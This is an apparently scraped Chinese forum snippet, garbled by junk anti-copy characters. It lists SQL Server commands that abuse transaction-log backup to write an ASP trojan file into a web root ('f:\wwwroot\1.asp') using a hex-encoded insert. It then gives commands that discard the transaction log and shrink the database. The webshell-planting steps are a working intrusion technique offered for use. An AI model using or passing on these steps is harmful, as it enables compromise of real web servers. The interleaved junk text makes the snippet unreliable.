select * from master.dbo.sysdatabases 列出所有列的记录
9 T4 y; C4 K9 S6 z& F1 a) T
' S3 Y: a0 P0 @: P& q" rselect name from master.dbo.sysdatabases 仅列出name列的记录4 M: c% F) }: Z" U; t/ f
2 u; [' \9 O* l注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
8 Y6 o5 f3 n1 A6 b5 W+ K5 l- m& g: ~% u; Q) W2 J& _0 B- Y& B. E/ w3 D
alter database 数据库名 set RECOVERY FULL--* I, ^. p4 Z r( b
4 y2 t+ `7 k( L2 R, N `1 U
create table cmd (a image)-- \**cmd是创建的临时表
4 A0 P7 B/ _% i. _3 F# X. Z* c
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--6 i- J% U w0 j! j6 j
# ]5 ^, @* ^5 {8 s+ \7 P
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
7 i( k8 F4 }7 Q/ ~6 ~! ~/ O5 X* r7 v n" ^5 `3 g
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)8 z& [+ a6 q9 M9 ~: ^
: d% c3 f* X- J9 c, K6 w7 ybackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
4 I9 D9 Q% o- c( ^" {. k! M4 W- R/ s1 s
drop table cmd--! o# ]4 t# t) ?
' r r* }* X/ [- H; P. b( `
* C6 [3 y0 i3 Z' |f:\
* n! G, M0 {) W0 [& ^0 m) a# Z1 m16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a); E+ e. y$ Z, ?$ @" L7 J. R" ]
1 y! x/ ^" b ?: m/ A+ ]
最好多加几个回车0d0a,要不会出错哈
; q. z( c4 s% t0 _0 C7 j& L& G$ n+ ^0 w
: Q5 g! `3 L# U ~! @1 _
SQL Server日志清空方法 7 T! B0 q- A8 x0 P5 _0 ~; B
3 I: m9 u* m w* \
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 , e/ j( M* i- s
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG ( b: f' p' x6 D' \7 l) g
: e" j% F# [7 O; ~7 |9 n! r2.截断事务日志:BACKUP LOG databasename WITH NO_LOG ) y9 L5 ~- K L- F$ W! U
$ Y7 H" L' i3 b, M8 q7 i3.收缩数据库:DBCC SHRINKDATABASE(databasename) 1 u5 K1 A) q1 I6 ^) `
|